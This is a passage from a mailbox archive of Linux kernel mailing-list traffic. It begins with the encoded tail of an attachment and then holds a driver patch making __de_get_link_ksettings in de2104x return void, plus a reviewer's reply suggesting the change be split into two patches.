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
v1d3AQA=

--J/dobhs11T7y2rNN--
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Yuval Shaia <yuval.shaia@oracle.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: [PATCH] net/dec: Make __de_get_link_ksettings return void
Date: Sun,  4 Jun 2017 20:08:51 +0300
Lines: 26
Approved: news@gmane.org
Message-ID: <20170604170851.3808-1-yuval.shaia@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1496596153 11188 195.159.176.226 (4 Jun 2017 17:09:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 4 Jun 2017 17:09:13 +0000 (UTC)
To: davem@davemloft.net, jarod@redhat.com, yuval.shaia@oracle.com,
        tklauser@distanz.ch, tremyfr@gmail.com, netdev@vger.kernel.org,
        linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 04 19:09:09 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dHZ1Y-0002dx-IM
	for glpp-linux-parisc@m.gmane.org; Sun, 04 Jun 2017 19:09:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751164AbdFDRJN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 4 Jun 2017 13:09:13 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:42566 "EHLO
        userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750932AbdFDRJN (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 4 Jun 2017 13:09:13 -0400
Original-Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v54H8x2K002239
        (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Sun, 4 Jun 2017 17:09:00 GMT
Original-Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72])
        by aserv0021.oracle.com (8.13.8/8.14.4) with ESMTP id v54H8xGC013456
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Sun, 4 Jun 2017 17:08:59 GMT
Original-Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25])
        by userv0121.oracle.com (8.14.4/8.13.8) with ESMTP id v54H8wVi030261;
        Sun, 4 Jun 2017 17:08:58 GMT
Original-Received: from localhost.localdomain (/77.138.186.148)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Sun, 04 Jun 2017 10:08:57 -0700
X-Mailer: git-send-email 2.9.4
X-Source-IP: aserv0021.oracle.com [141.146.126.233]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27454 gmane.linux.network:474164
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27454>

Make return value void since function never return meaningfull value

Signed-off-by: Yuval Shaia <yuval.shaia@oracle.com>
---
 drivers/net/ethernet/dec/tulip/de2104x.c | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/drivers/net/ethernet/dec/tulip/de2104x.c b/drivers/net/ethernet/dec/tulip/de2104x.c
index 91b8f6f..c87b8cc 100644
--- a/drivers/net/ethernet/dec/tulip/de2104x.c
+++ b/drivers/net/ethernet/dec/tulip/de2104x.c
@@ -1483,8 +1483,8 @@ static void __de_get_regs(struct de_private *de, u8 *buf)
 	de_rx_missed(de, rbuf[8]);
 }
 
-static int __de_get_link_ksettings(struct de_private *de,
-				   struct ethtool_link_ksettings *cmd)
+static void __de_get_link_ksettings(struct de_private *de,
+				    struct ethtool_link_ksettings *cmd)
 {
 	ethtool_convert_legacy_u32_to_link_mode(cmd->link_modes.supported,
 						de->media_supported);
@@ -1517,8 +1517,6 @@ static int __de_get_link_ksettings(struct de_private *de,
 		cmd->base.autoneg = AUTONEG_ENABLE;
 
 	/* ignore maxtxpkt, maxrxpkt for now */

From - Thu Nov 08 21:39:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] net/dec: Make __de_get_link_ksettings return void
Date: Sun, 4 Jun 2017 20:22:05 +0300
Lines: 63
Approved: news@gmane.org
Message-ID: <4391c380-f7f6-d549-a225-716b9b9df664@cogentembedded.com>
References: <20170604170851.3808-1-yuval.shaia@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1496596928 5470 195.159.176.226 (4 Jun 2017 17:22:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 4 Jun 2017 17:22:08 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
To: Yuval Shaia <yuval.shaia@oracle.com>, davem@davemloft.net,
        jarod@redhat.com, tklauser@distanz.ch, tremyfr@gmail.com,
        netdev@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 04 19:22:03 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dHZE3-0006HB-1A
	for glpp-linux-parisc@m.gmane.org; Sun, 04 Jun 2017 19:22:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751208AbdFDRWH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 4 Jun 2017 13:22:07 -0400
Original-Received: from mail-lf0-f50.google.com ([209.85.215.50]:36849 "EHLO
        mail-lf0-f50.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750944AbdFDRWG (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 4 Jun 2017 13:22:06 -0400
Original-Received: by mail-lf0-f50.google.com with SMTP id o83so13703345lff.3
        for <linux-parisc@vger.kernel.org>; Sun, 04 Jun 2017 10:22:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=cogentembedded-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:from:message-id:date:user-agent:mime-version
         :in-reply-to:content-transfer-encoding;
        bh=c9fPRQyk6nxwjHvu5Vyep8eNGkamaAIPaUW9ExG/8Y4=;
        b=xiDwrJ8kA3CoQ3nZJyplCGShv2KZTaPbmaSIvhyxZ2bBjPvxjCQAxb7TQqJzISCBLV
         HzhtkvoNiYb1RHMZKsbW3Pk30ByZGcmHbNVTSpr4lj/LIxiYIBZmjYdrfRd4mPzcXmsB
         WFyY7Zqi/DKsJqAMObkLNyFUBJOXZmVdcTGT26j0xf2IcB8nOXTYirOllPYkcS96Fdgn
         KaVl3Jd2SgBdhom5O+xierUMDloP112FtLRq0CI6ZR17M/AwGRRQSURH+druo2qYGGPs
         vVtveDQT9GIqFYcGhpfk1ih0+MNJB9m7k9pkLwokkgfIDjsQZfpTF5SyA2GRSzI3Q7W8
         aoew==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:references:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=c9fPRQyk6nxwjHvu5Vyep8eNGkamaAIPaUW9ExG/8Y4=;
        b=BpRfV4FXXIGqD0hg9Aw1AS2H1iIG//JFzssCOzAC+gPLbZKGban7L3H7TT6kM/29Ol
         iug9e8kWwmuNOd/uc1fT2LcofRBcj9+CC3pdNvziNkxfzNWH1H/xroOVY8tW33ghDulY
         aT3K/bM8GPYaBnnMPfPtr3MdATJJcULycp68pcoIY5uexvOhhNxki+/RVxAkoQUNsg2F
         E+owlGX69l1ki14N7sivCku4cUOC+ltRC+RzQxFOexU1W8z6J9vZNGaz6z5QpLyKq87V
         XKu30c9+yqbCOssxEg57p8Q9/nAJPfyx+fiOMwWH9YyHhGUWZtE9HO5LI5Bc+6c07rno
         SaFg==
X-Gm-Message-State: AODbwcDlY4/YybdWSHOwWKzHkg1OagkwcDp1ADLbl0irbvT9NZHwnBPm
        bO2zCbtbmHNnhD8lwViMqg==
X-Received: by 10.46.22.4 with SMTP id w4mr4954517ljd.109.1496596925030;
        Sun, 04 Jun 2017 10:22:05 -0700 (PDT)
Original-Received: from [192.168.4.126] ([31.173.83.140])
        by smtp.gmail.com with ESMTPSA id c13sm6385428lfk.44.2017.06.04.10.22.03
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sun, 04 Jun 2017 10:22:04 -0700 (PDT)
In-Reply-To: <20170604170851.3808-1-yuval.shaia@oracle.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27455 gmane.linux.network:474169
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27455>

Hello!

On 6/4/2017 8:08 PM, Yuval Shaia wrote:

> Make return value void since function never return meaningfull value

   You only make 1 of 2 functions void. It looks like there should be 2 patches.

>
> Signed-off-by: Yuval Shaia <yuval.shaia@oracle.com>
> ---
>  drivers/net/ethernet/dec/tulip/de2104x.c | 11 ++++-------
>  1 file changed, 4 insertions(+), 7 deletions(-)
>
> diff --git a/drivers/net/ethernet/dec/tulip/de2104x.c b/drivers/net/ethernet/dec/tulip/de2104x.c
> index 91b8f6f..c87b8cc 100644
> --- a/drivers/net/ethernet/dec/tulip/de2104x.c
> +++ b/drivers/net/ethernet/dec/tulip/de2104x.c
> @@ -1483,8 +1483,8 @@ static void __de_get_regs(struct de_private *de, u8 *buf)
>  	de_rx_missed(de, rbuf[8]);
>  }
>
> -static int __de_get_link_ksettings(struct de_private *de,
> -				   struct ethtool_link_ksettings *cmd)
> +static void __de_get_link_ksettings(struct de_private *de,
> +				    struct ethtool_link_ksettings *cmd)
>  {
>  	ethtool_convert_legacy_u32_to_link_mode(cmd->link_modes.supported,
>  						de->media_supported);
> @@ -1517,8 +1517,6 @@ static int __de_get_link_ksettings(struct de_private *de,
>  		cmd->base.autoneg = AUTONEG_ENABLE;
>
>  	/* ignore maxtxpkt, maxrxpkt for now */
> -
> -	return 0;
>  }
>
>  static int __de_set_link_ksettings(struct de_private *de,
> @@ -1615,13 +1613,12 @@ static int de_get_link_ksettings(struct net_device *dev,
>  				 struct ethtool_link_ksettings *cmd)
>  {
>  	struct de_private *de = netdev_priv(dev);
> -	int rc;
>
>  	spin_lock_irq(&de->lock);
> -	rc = __de_get_link_ksettings(de, cmd);
> +	__de_get_link_ksettings(de, cmd);
>  	spin_unlock_irq(&de->lock);
>
> -	return rc;
> +	return 0;
>  }
>
>  static int de_set_link_ksettings(struct net_device *dev,
>

MBR, Sergei

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] net/dec: Make __de_get_link_ksettings return void
Date: Sun, 4 Jun 2017 20:24:09 +0300
Lines: 15
Approved: news@gmane.org
Message-ID: <9bda442b-ef4b-0888-1717-241671375bce@cogentembedded.com>
References: <20170604170851.3808-1-yuval.shaia@oracle.com>
 <4391c380-f7f6-d549-a225-716b9b9df664@cogentembedded.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1496597051 30026 195.159.176.226 (4 Jun 2017 17:24:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 4 Jun 2017 17:24:11 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
To: Yuval Shaia <yuval.shaia@oracle.com>, davem@davemloft.net,
        jarod@redhat.com, tklauser@distanz.ch, tremyfr@gmail.com,
        netdev@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 04 19:24:07 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dHZG1-0001IM-T7
	for glpp-linux-parisc@m.gmane.org; Sun, 04 Jun 2017 19:24:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751215AbdFDRYK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 4 Jun 2017 13:24:10 -0400
Original-Received: from mail-lf0-f48.google.com ([209.85.215.48]:34955 "EHLO
        mail-lf0-f48.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751164AbdFDRYJ (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 4 Jun 2017 13:24:09 -0400
Original-Received: by mail-lf0-f48.google.com with SMTP id c184so57079763lfe.2
        for <linux-parisc@vger.kernel.org>; Sun, 04 Jun 2017 10:24:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=cogentembedded-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:from:message-id:date:user-agent:mime-version
